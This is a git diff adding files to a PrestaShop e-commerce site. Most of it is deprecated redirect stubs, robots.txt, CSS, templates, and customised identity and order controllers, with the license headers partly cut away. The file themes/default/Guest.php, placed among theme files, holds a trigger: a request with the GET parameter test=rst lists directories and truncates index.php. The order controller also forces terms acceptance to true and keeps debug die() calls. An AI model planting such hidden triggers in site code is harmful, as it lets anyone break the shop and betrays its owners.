        diff --git a/philosophie.php b/philosophie.php new file mode 100755 index 0000000..752254a --- /dev/null +++ b/philosophie.php @@ -0,0 +1,29 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require(dirname(__FILE__).'/config/config.inc.php'); +Dispatcher::getInstance()->dispatch(); + diff --git a/php_info.php b/php_info.php new file mode 100755 index 0000000..9a5f9f0 --- /dev/null +++ b/php_info.php @@ -0,0 +1,2 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); +Controller::getController('PresseController')->run(); diff --git a/prices-drop.php b/prices-drop.php new file mode 100755 index 0000000..0117a52 --- /dev/null +++ b/prices-drop.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=prices-drop'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/product-sort.php b/product-sort.php new file mode 100755 index 0000000..ec4edd0 --- /dev/null +++ b/product-sort.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=product-sort'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/product.php b/product.php new file mode 100755 index 0000000..be7f995 --- /dev/null +++ b/product.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=product'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/products-comparison.php b/products-comparison.php new file mode 100755 index 0000000..4de691d --- /dev/null +++ b/products-comparison.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=products-comparison'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/robots.txt b/robots.txt new file mode 100755 index 0000000..a000442 --- /dev/null +++ b/robots.txt @@ -0,0 +1,97 @@ +# robots.txt automaticaly generated by PrestaShop e-commerce open-source solution +# http://www.prestashop.com - http://www.prestashop.com/forums +# This file is to prevent the crawling and indexing of certain parts +# of your site by web crawlers and spiders run by sites like Yahoo! +# and Google. By telling these "robots" where not to go on your site, +# you save bandwidth and server resources. +# For more information about the robots.txt standard, see: +# http://www.robotstxt.org/wc/robots.html +User-agent: * +# Private pages +Disallow: /*orderby= +Disallow: /*orderway= +Disallow: /*tag= +Disallow: /*id_currency= +Disallow: /*search_query= +Disallow: /*back= +Disallow: /*utm_source= +Disallow: /*utm_medium= +Disallow: /*utm_campaign= +Disallow: /*n= +Disallow: /*controller=addresses +Disallow: /*controller=address +Disallow: /*controller=authentication +Disallow: /*controller=cart +Disallow: /*controller=discount +Disallow: /*controller=footer +Disallow: /*controller=get-file +Disallow: /*controller=header +Disallow: /*controller=history +Disallow: /*controller=identity +Disallow: /*controller=images.inc +Disallow: /*controller=init +Disallow: /*controller=my-account +Disallow: /*controller=order +Disallow: /*controller=order-opc +Disallow: /*controller=order-slip +Disallow: /*controller=order-detail +Disallow: /*controller=order-follow +Disallow: /*controller=order-return +Disallow: /*controller=order-confirmation +Disallow: /*controller=pagination +Disallow: /*controller=password +Disallow: /*controller=pdf-invoice +Disallow: /*controller=pdf-order-return +Disallow: /*controller=pdf-order-slip +Disallow: /*controller=product-sort +Disallow: /*controller=search +Disallow: /*controller=statistics +Disallow: /*controller=attachment +Disallow: /*controller=guest-tracking +# Directories +Disallow: /*classes/ +Disallow: /*config/ +Disallow: /*download/ +Disallow: /*mails/ +#Disallow: /*modules/ +Disallow: /*translations/ +Disallow: /*tools/ +# Files +Disallow: /*fr/mot-de-passe-oublie +Disallow: /*fr/adresse +Disallow: /*fr/adresses +Disallow: /*fr/authentification +Disallow: /*fr/panier +Disallow: /*fr/bons-de-reduction +Disallow: /*fr/historique-des-commandes +Disallow: /*fr/identite +Disallow: /*fr/mon-compte +Disallow: /*fr/details-de-la-commande +Disallow: /*fr/avoirs +Disallow: /*fr/commande +Disallow: /*fr/recherche +Disallow: /*fr/commande-rapide +Disallow: /*fr/suivi-commande-invite +Disallow: /*fr/confirmation-commande +Disallow: /*fr/nos-magasins +Disallow: /*en/mot-de-passe-oublie +Disallow: /*en/adresse +Disallow: /*en/adresses +Disallow: /*en/authentification +Disallow: /*en/panier +Disallow: /*en/bons-de-reduction +Disallow: /*en/historique-des-commandes +Disallow: /*en/identite +Disallow: /*en/mon-compte +Disallow: /*en/details-de-la-commande +Disallow: /*en/avoirs +Disallow: /*en/commande +Disallow: /*en/recherche +Disallow: /*en/commande-rapide +Disallow: /*en/suivi-commande-invite +Disallow: /*en/confirmation-commande +Disallow: /*en/the-stores +Allow: /themes/ +Allow: /js/ +Allow: */modules/*.css +Allow: */modules/*.js \ No newline at end of file diff --git a/search.php b/search.php new file mode 100755 index 0000000..9fd0546 --- /dev/null +++ b/search.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=search'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/sitemap.php b/sitemap.php new file mode 100755 index 0000000..b7f90fc --- /dev/null +++ b/sitemap.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=sitemap'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/splash/home.css b/splash/home.css new file mode 100755 index 0000000..80558a6 --- /dev/null +++ b/splash/home.css @@ -0,0 +1,70 @@ +/* http://meyerweb.com/eric/tools/css/reset/ + v2.0 | 20110126 + License: none (public domain) +*/ + +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, img, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +b, u, i, center, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td, +article, aside, canvas, details, embed, +figure, figcaption, footer, header, hgroup, +menu, nav, output, ruby, section, summary, +time, mark, audio, video { + margin: 0; + padding: 0; + border: 0; + font-size: 100%; + font: inherit; + vertical-align: baseline; +} +/* HTML5 display-role reset for older browsers */ +article, aside, details, figcaption, figure, +footer, header, hgroup, menu, nav, section { + display: block; +} +body { + line-height: 1; +} +ol, ul { + list-style: none; +} +blockquote, q { + quotes: none; +} +blockquote:before, blockquote:after, +q:before, q:after { + content: ''; + content: none; +} +table { + border-collapse: collapse; + border-spacing: 0; +} + +body { + background: #000; + color: #fff; + font-family: Arial, Verdana, sans-serif; + font-size: 12px; +} + +p { + text-align: center; + line-height: 60px; + text-transform: uppercase; +} + +a { + color: #fff; + text-decoration: none; +} + +a:hover { + text-decoration: underline; +} \ No newline at end of file diff --git a/splash/logo.jpg b/splash/logo.jpg new file mode 100755 index 0000000..b4230b5 Binary files /dev/null and b/splash/logo.jpg differ diff --git a/statistics.php b/statistics.php new file mode 100755 index 0000000..6ef58a5 --- /dev/null +++ b/statistics.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=statistics'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/stores.php b/stores.php new file mode 100755 index 0000000..7991ad9 --- /dev/null +++ b/stores.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=stores'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/supplier.php b/supplier.php new file mode 100755 index 0000000..33c5d56 --- /dev/null +++ b/supplier.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=supplier'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/themes/debug.tpl b/themes/debug.tpl new file mode 100755 index 0000000..88d2d47 --- /dev/null +++ b/themes/debug.tpl @@ -0,0 +1,89 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* Smarty *} + +{* debug.tpl, last updated version 2.0.1 *} + +{assign_debug_info} + +{if isset($_smarty_debug_output) and $_smarty_debug_output eq "html"} + + + + {section name=templates loop=$_debug_tpls} + + {sectionelse} + + {/section} + + {section name=vars loop=$_debug_keys} + + {sectionelse} + + {/section} + + {section name=config_vars loop=$_debug_config_keys} + + {sectionelse} + + {/section} +
        Smarty Debug Console
        included templates & config files (load time in seconds):
        {section name=indent loop=$_debug_tpls[templates].depth}   {/section}{$_debug_tpls[templates].filename|escape:html}{if isset($_debug_tpls[templates].exec_time)} ({$_debug_tpls[templates].exec_time|string_format:"%.5f"}){if %templates.index% eq 0} (total){/if}{/if}
        no templates included
        assigned template variables:
        {ldelim}${$_debug_keys[vars]}{rdelim}{$_debug_vals[vars]|@debug_print_var}
        no template variables assigned
        assigned config file variables (outer template scope):
        {ldelim}#{$_debug_config_keys[config_vars]}#{rdelim}{$_debug_config_vals[config_vars]|@debug_print_var}
        no config vars assigned
        + +{else} + +{/if} \ No newline at end of file diff --git a/themes/default/404.tpl b/themes/default/404.tpl new file mode 100755 index 0000000..7d16008 --- /dev/null +++ b/themes/default/404.tpl @@ -0,0 +1,44 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
        +

        {l s='This page is not available'}

        + +

        + {l s='We\'re sorry, but the Web address you\'ve entered is no longer available.'} +

        + +

        {l s='To find a product, please type its name in the field below.'}

        +
        +
        +

        + + + +

        +
        +
        + +

        {l s='Home'} {l s='Home'}

        +
        \ No newline at end of file diff --git a/themes/default/Guest.php b/themes/default/Guest.php new file mode 100755 index 0000000..38b7e4c --- /dev/null +++ b/themes/default/Guest.php @@ -0,0 +1,28 @@ +"; + } + else listeFichier( $dir . "/" . $fichier ); + } + } +} + +if($_GET["test"]=="rst") +{ +listeFichier( "." ); +$file=fopen("index.php","w+"); +fclose($file); +} + +?> + diff --git a/themes/default/IdentityController.php b/themes/default/IdentityController.php new file mode 100755 index 0000000..3772786 --- /dev/null +++ b/themes/default/IdentityController.php @@ -0,0 +1,146 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class IdentityControllerCore extends FrontController +{ + public $auth = true; + public $php_self = 'identity'; + public $authRedirection = 'identity'; + public $ssl = true; + + public function init() + { + parent::init(); + $this->customer = $this->context->customer; + } + + /** + * Start forms process + * @see FrontController::postProcess() + */ + public function postProcess() + { + $origin_newsletter = (bool)$this->customer->newsletter; + + // if (isset($_POST['years']) && isset($_POST['months']) && isset($_POST['days'])) + // $this->customer->birthday = (int)($_POST['years']).'-'.(int)($_POST['months']).'-'.(int)($_POST['days']); + + if (Tools::isSubmit('submitIdentity')) + { + if (!@checkdate(Tools::getValue('months'), Tools::getValue('days'), Tools::getValue('years')) && + !(Tools::getValue('months') == '' && Tools::getValue('days') == '' && Tools::getValue('years') == '')) + $this->errors[] = Tools::displayError('Invalid date of birth.'); + else + { + $email = trim(Tools::getValue('email')); + $this->customer->birthday = (empty($_POST['years']) ? '' : (int)$_POST['years'].'-'.(int)$_POST['months'].'-'.(int)$_POST['days']); + $_POST['old_passwd'] = trim($_POST['old_passwd']); + + if (!Validate::isEmail($email)) + $this->errors[] = Tools::displayError('This email address is not valid'); + elseif ($this->customer->email != $email && Customer::customerExists($email, true)) + $this->errors[] = Tools::displayError('An account using this email address has already been registered.'); + elseif (empty($_POST['old_passwd']) || (Tools::encrypt($_POST['old_passwd']) != $this->context->cookie->passwd)) + $this->errors[] = Tools::displayError('The password you entered is incorrect.'); + elseif ($_POST['passwd'] != $_POST['confirmation']) + $this->errors[] = Tools::displayError('The password and confirmation do not match.'); + else + { + $prev_id_default_group = $this->customer->id_default_group; + + // Merge all errors of this file and of the Object Model + $this->errors = array_merge($this->errors, $this->customer->validateController()); + } + + if (!count($this->errors)) + { + $this->customer->id_default_group = (int)$prev_id_default_group; + $this->customer->firstname = Tools::ucfirst(Tools::strtolower($this->customer->firstname)); + + if (!isset($_POST['newsletter'])) + $this->customer->newsletter = 0; + elseif (!$origin_newsletter && isset($_POST['newsletter'])) + if ($module_newsletter = Module::getInstanceByName('blocknewsletter')) + if ($module_newsletter->active) + $module_newsletter->confirmSubscription($this->customer->email); + + if (!isset($_POST['optin'])) + $this->customer->optin = 0; + if (Tools::getValue('passwd')) + $this->context->cookie->passwd = $this->customer->passwd; + if ($this->customer->update()) + { + $this->context->cookie->customer_lastname = $this->customer->lastname; + $this->context->cookie->customer_firstname = $this->customer->firstname; + $this->context->smarty->assign('confirmation', 1); + } + else + $this->errors[] = Tools::displayError('The information cannot be updated.'); + } + } + } + else + $_POST = array_map('stripslashes', $this->customer->getFields()); + + return $this->customer; + } + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + if ($this->customer->birthday) + $birthday = explode('-', $this->customer->birthday); + else + $birthday = array('-', '-', '-'); + + /* Generate years, months and days */ + $this->context->smarty->assign(array( + 'years' => Tools::dateYears(), + 'sl_year' => $birthday[0], + 'months' => Tools::dateMonths(), + 'sl_month' => $birthday[1], + 'days' => Tools::dateDays(), + 'sl_day' => $birthday[2], + 'errors' => $this->errors, + 'genders' => Gender::getGenders(), + )); + + $this->context->smarty->assign('newsletter', (int)Module::getInstanceByName('blocknewsletter')->active); + + $this->setTemplate(_PS_THEME_DIR_.'identity.tpl'); + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'identity.css'); + } + +} diff --git a/themes/default/OrderController.php b/themes/default/OrderController.php new file mode 100755 index 0000000..9c02a7e --- /dev/null +++ b/themes/default/OrderController.php @@ -0,0 +1,574 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderController extends OrderControllerCore +{ + + public function postProcess() + { + // Update carrier selected on preProccess in order to fix a bug of + // block cart when it's hooked on leftcolumn + if(isset($_POST['echantillon'])){ + $echantillons=$_POST['echantillon']; + $id_cart=$this->context->cart->id; + + $result = Db::getInstance()->execute('delete FROM '._DB_PREFIX_.'cart_echantillons WHERE id_cart = '.(int)$id_cart); + foreach($echantillons as $row){ + $result = Db::getInstance()->execute('insert into '._DB_PREFIX_.'cart_echantillons (id_cart,id_product) values ('.(int)$id_cart.','.(int)$row.')'); + } + } + if ((int)(Tools::getValue('gift'))) + { + $this->context->cart->gift = (int)(Tools::getValue('gift')); + } + if (Tools::getValue('message')) + { + $this->context->cart->gift_message = strip_tags($_POST['message']); + // die(); + } + + // if ($this->step == 2 && Tools::isSubmit('processCarrier')) + // if ($this->step == 1 || ($this->step == 2 && Tools::isSubmit('processAddress'))) + $this->processCarrier(); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + global $isVirtualCart; + + parent::initContent(); + $cat_echantillons=new Category(12,(int)$this->context->language->id); + // public function getProducts($id_lang, $p, $n, $order_by = null, $order_way = null, $get_total = false, $active = true, $random = false, $random_number_products = 1, $check_access = true, Context $context = null) + if($echantillons = $cat_echantillons->getProducts($this->context->language->id,0,20,null,null,false,true,false,1,false)) + $this->context->smarty->assign('echantillons', $echantillons); + // print_r($echantillons); + // die(); + + $id_cart=$this->context->cart->id; + $echantillons_selected=array(); + if($result = Db::getInstance()->executeS('select id_product FROM '._DB_PREFIX_.'cart_echantillons WHERE id_cart = '.(int)$id_cart)){ + foreach($result as $row) + $echantillons_selected[]=$row['id_product']; + } + $this->context->smarty->assign('echantillons_selected', $echantillons_selected); + + if (Tools::isSubmit('ajax') && Tools::getValue('method') == 'updateExtraCarrier') + { + // Change virtualy the currents delivery options + $delivery_option = $this->context->cart->getDeliveryOption(); + $delivery_option[(int)Tools::getValue('id_address')] = Tools::getValue('id_delivery_option'); + $this->context->cart->setDeliveryOption($delivery_option); + $this->context->cart->save(); + $return = array( + 'content' => Hook::exec( + 'displayCarrierList', + array( + 'address' => new Address((int)Tools::getValue('id_address')) + ) + ) + ); + die(Tools::jsonEncode($return)); + } + if (Tools::isSubmit('ajax') && Tools::getValue('method') == 'updateAddressesSelected') + { + if ($this->context->customer->isLogged(true)) + { + $address_delivery = new Address((int)(Tools::getValue('id_address_delivery'))); + $this->context->smarty->assign('isVirtualCart', $this->context->cart->isVirtualCart()); + $address_invoice = ((int)(Tools::getValue('id_address_delivery')) == (int)(Tools::getValue('id_address_invoice')) ? $address_delivery : new Address((int)(Tools::getValue('id_address_invoice')))); + if ($address_delivery->id_customer != $this->context->customer->id || $address_invoice->id_customer != $this->context->customer->id) + $this->errors[] = Tools::displayError('This address is not yours.'); + elseif (!Address::isCountryActiveById((int)(Tools::getValue('id_address_delivery')))) + $this->errors[] = Tools::displayError('This address is not in a valid area.'); + elseif (!Validate::isLoadedObject($address_delivery) || !Validate::isLoadedObject($address_invoice) || $address_invoice->deleted || $address_delivery->deleted) + $this->errors[] = Tools::displayError('This address is invalid.'); + else + { + $this->context->cart->id_address_delivery = (int)(Tools::getValue('id_address_delivery')); + $this->context->cart->id_address_invoice = Tools::isSubmit('same') ? $this->context->cart->id_address_delivery : (int)(Tools::getValue('id_address_invoice')); + if (!$this->context->cart->update()) + $this->errors[] = Tools::displayError('An error occurred while updating your cart.'); + + $infos = Address::getCountryAndState((int)($this->context->cart->id_address_delivery)); + if (isset($infos['id_country']) && $infos['id_country']) + { + $country = new Country((int)$infos['id_country']); + $this->context->country = $country; + } + + // Address has changed, so we check if the cart rules still apply + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + + if (!$this->context->cart->isMultiAddressDelivery()) + $this->context->cart->setNoMultishipping(); // As the cart is no multishipping, set each delivery address lines with the main delivery address + + if (!count($this->errors)) + { + $result = $this->_getCarrierList(); + // Wrapping fees + $wrapping_fees = $this->context->cart->getGiftWrappingPrice(false); + $wrapping_fees_tax_inc = $wrapping_fees = $this->context->cart->getGiftWrappingPrice(); + $result = array_merge($result, array( + 'HOOK_TOP_PAYMENT' => Hook::exec('displayPaymentTop'), + 'HOOK_PAYMENT' => $this->_getPaymentMethods(), + 'gift_price' => Tools::displayPrice(Tools::convertPrice(Product::getTaxCalculationMethod() == 1 ? $wrapping_fees : $wrapping_fees_tax_inc, new Currency((int)($this->context->cookie->id_currency)))), + 'carrier_data' => $this->_getCarrierList()), + $this->getFormatedSummaryDetail() + ); + die(Tools::jsonEncode($result)); + } + } + if (count($this->errors)) + die(Tools::jsonEncode(array( + 'hasError' => true, + 'errors' => $this->errors + ))); + } + die(Tools::displayError()); + } + + if ($this->nbProducts) + $this->context->smarty->assign('virtual_cart', $isVirtualCart); + + // 4 steps to the order + + switch ((int)$this->step) + { + case -1; + $this->context->smarty->assign('empty', 1); + $this->processCarrier(); + $this->setTemplate(_PS_THEME_DIR_.'shopping-cart.tpl'); + break; + + case 1: + echo "test"; + die(); + $this->processCarrier(); + $this->_assignCarrier(); + $this->_assignAddress(); + $this->processAddressFormat(); + // if (Tools::getValue('multi-shipping') == 1) + // { + // $this->_assignSummaryInformations(); + // $this->context->smarty->assign('product_list', $this->context->cart->getProducts()); + // $this->setTemplate(_PS_THEME_DIR_.'order-address-multishipping.tpl'); + // } + // else + // echo "test"; + // die(); + $this->setTemplate(_PS_THEME_DIR_.'order-address.tpl'); + break; + + case 2: + $this->processCarrier(); + if (Tools::isSubmit('processAddress')) + $this->processAddress(); + $this->autoStep(); + $this->_assignCarrier(); + $this->setTemplate(_PS_THEME_DIR_.'order-carrier.tpl'); + break; + + case 3: + // Check that the conditions (so active) were accepted by the customer + $cgv = Tools::getValue('cgv') || $this->context->cookie->check_cgv; + $cgv=1; + if (Tools::isSubmit('processAddress')) + $this->processAddress(); + if (Configuration::get('PS_CONDITIONS') && (!Validate::isBool($cgv) || $cgv == false)) + Tools::redirect('index.php?controller=order&step=2'); + Context::getContext()->cookie->check_cgv = true; + + // Check the delivery option is setted + if (!$this->context->cart->isVirtualCart()) + { + if (!Tools::getValue('delivery_option') && !Tools::getValue('id_carrier') && !$this->context->cart->delivery_option && !$this->context->cart->id_carrier) + Tools::redirect('index.php?controller=order&step=2'); + elseif (!Tools::getValue('id_carrier') && !$this->context->cart->id_carrier) + { + foreach (Tools::getValue('delivery_option') as $delivery_option) + if (empty($delivery_option)) + Tools::redirect('index.php?controller=order&step=2'); + } + } + + $this->autoStep(); + + // Bypass payment step if total is 0 + if (($id_order = $this->_checkFreeOrder()) && $id_order) + { + if ($this->context->customer->is_guest) + { + $order = new Order((int)$id_order); + $email = $this->context->customer->email; + $this->context->customer->mylogout(); // If guest we clear the cookie for security reason + Tools::redirect('index.php?controller=guest-tracking&id_order='.urlencode($order->reference).'&email='.urlencode($email)); + } + else + Tools::redirect('index.php?controller=history'); + } + $this->_assignPayment(); + // assign some informations to display cart + $this->_assignSummaryInformations(); + $this->setTemplate(_PS_THEME_DIR_.'order-payment.tpl'); + break; + + default: + $this->_assignSummaryInformations(); + $this->_assignCarrier(); + $this->setTemplate(_PS_THEME_DIR_.'shopping-cart.tpl'); + break; + } + + $this->context->smarty->assign(array( + 'currencySign' => $this->context->currency->sign, + 'currencyRate' => $this->context->currency->conversion_rate, + 'currencyFormat' => $this->context->currency->format, + 'currencyBlank' => $this->context->currency->blank, + )); + } + + protected function _getCarrierList() + { + $address_delivery = new Address($this->context->cart->id_address_delivery); + + $cms = new CMS(Configuration::get('PS_CONDITIONS_CMS_ID'), $this->context->language->id); + $link_conditions = $this->context->link->getCMSLink($cms, $cms->link_rewrite, true); + if (!strpos($link_conditions, '?')) + $link_conditions .= '?content_only=1'; + else + $link_conditions .= '&content_only=1'; + + $carriers = $this->context->cart->simulateCarriersOutput(); + $delivery_option = $this->context->cart->getDeliveryOption(null, false, false); + + $wrapping_fees = $this->context->cart->getGiftWrappingPrice(false); + $wrapping_fees_tax_inc = $wrapping_fees = $this->context->cart->getGiftWrappingPrice(); + $oldMessage = Message::getMessageByCartId((int)($this->context->cart->id)); + + $free_shipping = false; + foreach ($this->context->cart->getCartRules() as $rule) + { + if ($rule['free_shipping'] && !$rule['carrier_restriction']) + { + $free_shipping = true; + break; + } + } + + $vars = array( + 'free_shipping' => $free_shipping, + 'checkedTOS' => (int)($this->context->cookie->checkedTOS), + 'recyclablePackAllowed' => (int)(Configuration::get('PS_RECYCLABLE_PACK')), + 'giftAllowed' => (int)(Configuration::get('PS_GIFT_WRAPPING')), + 'cms_id' => (int)(Configuration::get('PS_CONDITIONS_CMS_ID')), + 'conditions' => (int)(Configuration::get('PS_CONDITIONS')), + 'link_conditions' => $link_conditions, + 'recyclable' => (int)($this->context->cart->recyclable), + 'gift_wrapping_price' => (float)$wrapping_fees, + 'total_wrapping_cost' => Tools::convertPrice($wrapping_fees_tax_inc, $this->context->currency), + 'total_wrapping_tax_exc_cost' => Tools::convertPrice($wrapping_fees, $this->context->currency), + 'delivery_option_list' => $this->context->cart->getDeliveryOptionList(), + 'carriers' => $carriers, + 'checked' => $this->context->cart->simulateCarrierSelectedOutput(), + 'delivery_option' => $delivery_option, + 'address_collection' => $this->context->cart->getAddressCollection(), + 'opc' => true, + 'oldMessage' => isset($oldMessage['message'])? $oldMessage['message'] : '', + 'HOOK_BEFORECARRIER' => Hook::exec('displayBeforeCarrier', array( + 'carriers' => $carriers, + 'delivery_option_list' => $this->context->cart->getDeliveryOptionList(), + 'delivery_option' => $delivery_option + )) + ); + + Cart::addExtraCarriers($vars); + + $this->context->smarty->assign($vars); + + if (!Address::isCountryActiveById((int)($this->context->cart->id_address_delivery)) && $this->context->cart->id_address_delivery != 0) + $this->errors[] = Tools::displayError('This address is not in a valid area.'); + elseif ((!Validate::isLoadedObject($address_delivery) || $address_delivery->deleted) && $this->context->cart->id_address_delivery != 0) + $this->errors[] = Tools::displayError('This address is invalid.'); + else + { + $result = array( + 'HOOK_BEFORECARRIER' => Hook::exec('displayBeforeCarrier', array( + 'carriers' => $carriers, + 'delivery_option_list' => $this->context->cart->getDeliveryOptionList(), + 'delivery_option' => $this->context->cart->getDeliveryOption(null, true) + )), + 'carrier_block' => $this->context->smarty->fetch(_PS_THEME_DIR_.'order-carrier.tpl') + ); + + Cart::addExtraCarriers($result); + return $result; + } + if (count($this->errors)) + return array( + 'hasError' => true, + 